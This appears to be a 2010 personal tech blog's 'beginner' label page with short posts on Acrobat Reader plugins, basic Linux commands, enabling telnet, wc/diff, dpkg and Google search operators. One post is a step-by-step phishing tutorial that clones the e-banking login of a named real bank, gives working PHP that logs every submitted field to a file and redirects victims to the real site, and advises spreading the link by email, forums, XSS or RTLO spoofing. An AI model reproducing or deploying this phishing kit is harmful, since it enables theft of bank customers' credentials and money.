Showing posts with label beginner. Show all posts
Showing posts with label beginner. Show all posts
Wednesday 1 December 2010
Speeding up opening of Acrobat Reader
Whenever you launch acrobat reader, it takes some extra times while loading the plugins and we rarely use those plugins(In fact, I rarely use them) so we can speed up the opening of acrobat reader.
The trick in speeding up the process of opening acrobat reader is by removing the plugins from plugins folder and putting them in the folder called optional. First, go to the acrobat reader installation directory which will be probably located somewhere at
There, you will see the folder called plugins. What you have to do is cut and paste all the items from plugins folder to optional folder. Make sure that you are not locking any of those files by opening the acrobat reader while doing cut/paste. Hope this helps you. :)
Read more...
The trick in speeding up the process of opening acrobat reader is by removing the plugins from plugins folder and putting them in the folder called optional. First, go to the acrobat reader installation directory which will be probably located somewhere at
C:\program files\adobe\
There, you will see the folder called plugins. What you have to do is cut and paste all the items from plugins folder to optional folder. Make sure that you are not locking any of those files by opening the acrobat reader while doing cut/paste. Hope this helps you. :)
Read more...
Speeding up opening of Acrobat Reader
2010-12-01T07:58:00+05:45
Cool Samar
beginner|tricks and tips|windows|
Comments
Labels:
beginner,
tricks and tips,
windows
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget |
Tuesday 23 November 2010
Some useful linux commands
This page lists some of the useful linux commands you might need to be using frequently. This is however not the complete list of the commands, rather I'd try to post more and more useful linux commands here.
gksudo command/program - run the visual sudo and start the specified command/program with elevated privilege.
sudo command - run the command with elevated privilege.
ps -A | grep -i your_program_name - ps gives the snapshot of the current running processes and this can be quite useful to view the running program's PID to use with kill command.
kill pid - this will kill the target program by using PID. you might need to use sudo version sometimes if the running program was not run by the current user.
ifconfig - display the network interface information. iwconfig is the similar tool for the wireless device.
ufw enable/disable - enable or disable the firewall.
uname -a - get every information about your linux kernel.
sudo dpkg --configure -a - configure and repair the broken package.
I'll be updating this list with any commands I happen to remember.
Read more...
gksudo command/program - run the visual sudo and start the specified command/program with elevated privilege.
sudo command - run the command with elevated privilege.
ps -A | grep -i your_program_name - ps gives the snapshot of the current running processes and this can be quite useful to view the running program's PID to use with kill command.
kill pid - this will kill the target program by using PID. you might need to use sudo version sometimes if the running program was not run by the current user.
ifconfig - display the network interface information. iwconfig is the similar tool for the wireless device.
ufw enable/disable - enable or disable the firewall.
uname -a - get every information about your linux kernel.
sudo dpkg --configure -a - configure and repair the broken package.
I'll be updating this list with any commands I happen to remember.
Read more...
Some useful linux commands
2010-11-23T23:16:00+05:45
Cool Samar
beginner|linux|tricks and tips|ubuntu|
Comments
Labels:
beginner,
linux,
tricks and tips,
ubuntu
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget |
Sunday 21 November 2010
Enabling telnet in windows 7
AYesterday when I was on my saturday class in kathmandu, I needed to use telnet in order to find the ssh version of some server as the part of recon challenge for my friend. But I found that the windows 7 by default has no telnet client. After returning to KU, I played around with my friends laptop to find the way to enable telnet client.
Just go to the control panel and choose the programs and features option.
There, you'll find the option Turn Windows features on or off.
Check the telnet client and hit Ok.
Now you can use the telnet client in your windows 7. Have fun.
Read more...
Just go to the control panel and choose the programs and features option.
There, you'll find the option Turn Windows features on or off.
Check the telnet client and hit Ok.
Now you can use the telnet client in your windows 7. Have fun.
Read more...
Enabling telnet in windows 7
2010-11-21T20:14:00+05:45
Cool Samar
beginner|tricks and tips|windows|
Comments
Labels:
beginner,
tricks and tips,
windows
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget |
Wednesday 13 October 2010
Making a fake login page [tutorial on phishers for beginners]
This tutorial will give you basic idea of what phishers are and how to create a simple phisher. Please be sure to comment on this post.
A phisher is a fake login page used to gain access to someones account. When someone logs into
the fake login page, there password is sent to you in some way such as by email or by writing to the files in the webserver. The major attacks of the phishing are the email accounts and e-commerce sites so this method is widely used to steal the critical information from the users.
Now, I'll show you how to make a successful phisher by giving an example by creating the phishing page of e-Banking of Nepal Investment Bank Limited.
a) We open the login page of our target site and save the page in our HDD by going to File->Save As from Firefox.
b) You'll have a HTML page and the folder containing the required images, css and javascript files for the HTML page.
c) Create a file like passes.txt or whatever where you'll store all the passwords from the phishing page. Note that you'll have to chmod this file to writable(like chmod a+w filename or chmod 777 filename according to the permission you want).
d) Now create a PHP file called phisher.php and paste the code below:
e) Your phishing PHP script is ready. Now time for editing the HTML source of your target login page. Open the HTML source in text editor and search for the text <form in my case(&usually) and in the action field specify the name of your PHP script like:
f) Now, our phisher is ready and all you have to do is upload the phisher.php and the HTML source and its related folder to free webhosting (I use t35.com). Be sure to create passes.txt and set proper permission in the webserver.
g) Now, all you have to do is send the link of your phisher to the users by emailing, forum boards, XSS methods or by RTLO spoofing or any other method you can work creatively.
Now, if you want to stop these phishers, you might want to submit the phisher links you find on the internet to www.phishtank.com.
I hope you learn something from this phishing tutorial. Have fun. :)
Read more...
A phisher is a fake login page used to gain access to someones account. When someone logs into
the fake login page, there password is sent to you in some way such as by email or by writing to the files in the webserver. The major attacks of the phishing are the email accounts and e-commerce sites so this method is widely used to steal the critical information from the users.
Now, I'll show you how to make a successful phisher by giving an example by creating the phishing page of e-Banking of Nepal Investment Bank Limited.
a) We open the login page of our target site and save the page in our HDD by going to File->Save As from Firefox.
b) You'll have a HTML page and the folder containing the required images, css and javascript files for the HTML page.
c) Create a file like passes.txt or whatever where you'll store all the passwords from the phishing page. Note that you'll have to chmod this file to writable(like chmod a+w filename or chmod 777 filename according to the permission you want).
d) Now create a PHP file called phisher.php and paste the code below:
<?php
header("location:https://www.nibl.com.np/BankAwayRetail/sgonHttpHandler.aspx?Action.RetUser.Init.001=Y&AppSignonBankId=004&AppType=retail");
$fp = fopen("passes.txt","a");
foreach ($_REQUEST as $var => $val)
{
fwrite($fp, $var." = ".$val."\r\n");
}
fwrite($fp,"\r\n");
fclose($fp);
?>
header("location:https://www.nibl.com.np/BankAwayRetail/sgonHttpHandler.aspx?Action.RetUser.Init.001=Y&AppSignonBankId=004&AppType=retail");
$fp = fopen("passes.txt","a");
foreach ($_REQUEST as $var => $val)
{
fwrite($fp, $var." = ".$val."\r\n");
}
fwrite($fp,"\r\n");
fclose($fp);
?>
e) Your phishing PHP script is ready. Now time for editing the HTML source of your target login page. Open the HTML source in text editor and search for the text <form in my case(&usually) and in the action field specify the name of your PHP script like:
<form action="phisher.php" method="POST" name="RetailSignOn">
f) Now, our phisher is ready and all you have to do is upload the phisher.php and the HTML source and its related folder to free webhosting (I use t35.com). Be sure to create passes.txt and set proper permission in the webserver.
g) Now, all you have to do is send the link of your phisher to the users by emailing, forum boards, XSS methods or by RTLO spoofing or any other method you can work creatively.
Now, if you want to stop these phishers, you might want to submit the phisher links you find on the internet to www.phishtank.com.
I hope you learn something from this phishing tutorial. Have fun. :)
Read more...
Making a fake login page [tutorial on phishers for beginners]
2010-10-13T23:03:00+05:45
Cool Samar
beginner|hacking|
Comments
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget |
Comparing two files under LINUX [Basic Linux Command - Part II]
In this post, I am going to introduce you the methods of comparing two files in LINUX and is the second article on the basic linux commands following the previous post.
For comparing two files, we can follow two step task. The first step would be counting the number of lines, words and characters in the two files. After this, we would be interested to check the difference in the lines.
We use wc command to find the newline(giving count for number of lines), word and byte counts for the specified file (or the standard input if any file is not specified.
Let me take an example of the following test.c file on which I will perform wc command.
So this file contains 6 lines, 13 words and 88 characters (actually bytes).
You can specify the multiple files at once with this command such as:
This way, you can calculate and compare the lines, words and characters count between two files. Now, we will look on the way of comparing files line by line and seeing the difference in the line.
The diff command allows us to display the line-by-line difference between two files.
Lets view the content of two files 1.txt and 2.txt, then we will be issuing diff command to see the difference between these files line-by-line.
In the output, the lines in first file are identified with less than sign and lines in the second file are identified with greater than sign. This is how you can see the lines where two files differ with each other. Further, we have sdiff command which will allow you to merge the file differences side by side and view the differences easily. I'll let you explore this command on your own. Also, if you want case-independent comparison with diff command, you can use -i parameter.
Also, I would be more than happy if you try to learn other commands such as cmp on your own.
Hope you learn something from this. Have fun and Happy Vijaya Dashami. :)
Read more...
For comparing two files, we can follow two step task. The first step would be counting the number of lines, words and characters in the two files. After this, we would be interested to check the difference in the lines.
We use wc command to find the newline(giving count for number of lines), word and byte counts for the specified file (or the standard input if any file is not specified.
Let me take an example of the following test.c file on which I will perform wc command.
---------test.c----------
#include <stdio.h>
int main (int argc, char *argv[])
{
printf("SAMAR\n");
return 0;
}
#include <stdio.h>
int main (int argc, char *argv[])
{
printf("SAMAR\n");
return 0;
}
samar@samar-laptop:~/Desktop$ wc test.c
6 13 88 test.c
6 13 88 test.c
So this file contains 6 lines, 13 words and 88 characters (actually bytes).
You can specify the multiple files at once with this command such as:
samar@samar-laptop:~/Desktop$ wc test.c test.cpp
6 13 88 test.c
9 18 112 test.cpp
15 31 200 total
6 13 88 test.c
9 18 112 test.cpp
15 31 200 total
This way, you can calculate and compare the lines, words and characters count between two files. Now, we will look on the way of comparing files line by line and seeing the difference in the line.
The diff command allows us to display the line-by-line difference between two files.
Lets view the content of two files 1.txt and 2.txt, then we will be issuing diff command to see the difference between these files line-by-line.
samar@samar-laptop:~/Desktop$ cat 1.txt
www.techgaun.blogspot.com
samar dhwoj acharya
www.techgaun.blogspot.com
samar dhwoj acharya
samar@samar-laptop:~/Desktop$ cat 2.txt
www.techgaun.blogspot.com
saurya dhwoj acharya
my brother
www.techgaun.blogspot.com
saurya dhwoj acharya
my brother
samar@samar-laptop:~/Desktop$ diff 1.txt 2.txt
2c2,3
< samar dhwoj acharya
---
> saurya dhwoj acharya
> my brother
2c2,3
< samar dhwoj acharya
---
> saurya dhwoj acharya
> my brother
In the output, the lines in first file are identified with less than sign and lines in the second file are identified with greater than sign. This is how you can see the lines where two files differ with each other. Further, we have sdiff command which will allow you to merge the file differences side by side and view the differences easily. I'll let you explore this command on your own. Also, if you want case-independent comparison with diff command, you can use -i parameter.
Also, I would be more than happy if you try to learn other commands such as cmp on your own.
Hope you learn something from this. Have fun and Happy Vijaya Dashami. :)
Read more...
Comparing two files under LINUX [Basic Linux Command - Part II]
2010-10-13T21:53:00+05:45
Cool Samar
beginner|linux|
Comments
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget |
Monday 11 October 2010
Installing .deb package in ubuntu with dpkg
You can use dpkg, a command line tool to manage the packages, in order to install .deb packages in your ubuntu linux distro.
dpkg is a tool to install, build, remove and manage Debian packages. The primary and more user-friendly front-end for dpkg is aptitude. dpkg itself is controlled entirely via command line parameters, which consist of exactly one action and zero or more options. The action-parameter tells dpkg what to do and options control the behavior of the action in some way.
In order to install the .deb package, you need to use -i parameter with the dpkg command as below:
Also, you can install the multiple packages directly by issuing the command as below:
Hope this helps you. :)
Read more...
dpkg is a tool to install, build, remove and manage Debian packages. The primary and more user-friendly front-end for dpkg is aptitude. dpkg itself is controlled entirely via command line parameters, which consist of exactly one action and zero or more options. The action-parameter tells dpkg what to do and options control the behavior of the action in some way.
In order to install the .deb package, you need to use -i parameter with the dpkg command as below:
cd /home/samar/Downloads/
sudo dpkg -i skype-ubuntu-intrepid_2.1.0.81-1_amd64.deb
sudo dpkg -i skype-ubuntu-intrepid_2.1.0.81-1_amd64.deb
Also, you can install the multiple packages directly by issuing the command as below:
cd /home/samar/Downloads/
sudo dpkg -i *.deb
sudo dpkg -i *.deb
Hope this helps you. :)
Read more...
Installing .deb package in ubuntu with dpkg
2010-10-11T17:41:00+05:45
Cool Samar
beginner|linux|tricks and tips|
Comments
Labels:
beginner,
linux,
tricks and tips
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget |
Saturday 9 October 2010
Searching flash games using Google Search trick
Another google trick, this can be used to search any flash games(swf files) you want to play.
So you just played a flash game which was really cool and you want to download it in your computer? You can use google's search trick to search for any flash game you want.
This trick relies on the way directory listing is done in the webserver's directories. Whenever the default index page or directory listing denying features are not implemented in the web server, we can view the files in the directory. I'm not going into the further detail of this, instead I'm going to show you how to perform the google search for finding whatever flash game you want.
I need the game called gravity which is very fun to play. Now I do the search as below to find it:
You can replace the gravity with the name of the flash game you want to search and download.
Have fun with this google trick. :)
Read more...
So you just played a flash game which was really cool and you want to download it in your computer? You can use google's search trick to search for any flash game you want.
This trick relies on the way directory listing is done in the webserver's directories. Whenever the default index page or directory listing denying features are not implemented in the web server, we can view the files in the directory. I'm not going into the further detail of this, instead I'm going to show you how to perform the google search for finding whatever flash game you want.
I need the game called gravity which is very fun to play. Now I do the search as below to find it:
"index of /" "last modified" "parent directory" swf gravity
You can replace the gravity with the name of the flash game you want to search and download.
Have fun with this google trick. :)
Read more...
Searching flash games using Google Search trick
2010-10-09T22:01:00+05:45
Cool Samar
beginner|google hacking|internet|tricks and tips|web|
Comments
Labels:
beginner,
google hacking,
internet,
tricks and tips,
web
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget |
Searching PDFs and DOCs using Google Search
Generally, we use Google search in order to find any information we need. Google is widely used by many of us to find information relevant for us. Sometimes, we may need to find PDF (Portable Document Format) or DOC files and even the PPT (Powerpoint Presentations). This can be easily done using google search trick.
In order to find any type of file in google, we can use special google keyword filetype to specify the type of file we want to search. Put the colon : after the filetype and specify the type of file you want. For example, if you are searching for PDF or DOCs, do the following:
For example, you are searching for the PDFs related to nepali morphological analyzer, you'll do:
You can follow the same process for any other filetypes. Have fun with this google trick. :)
Read more...
In order to find any type of file in google, we can use special google keyword filetype to specify the type of file we want to search. Put the colon : after the filetype and specify the type of file you want. For example, if you are searching for PDF or DOCs, do the following:
filetype:pdf
filetype:doc
filetype:doc
For example, you are searching for the PDFs related to nepali morphological analyzer, you'll do:
nepali morphological analyzer filetype:pdf
You can follow the same process for any other filetypes. Have fun with this google trick. :)
Read more...
Searching PDFs and DOCs using Google Search
2010-10-09T21:41:00+05:45
Cool Samar
beginner|google hacking|internet|tricks and tips|web|
Comments
Labels:
beginner,
google hacking,
internet,
tricks and tips,
web
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget |
Subscribe to:
Posts (Atom)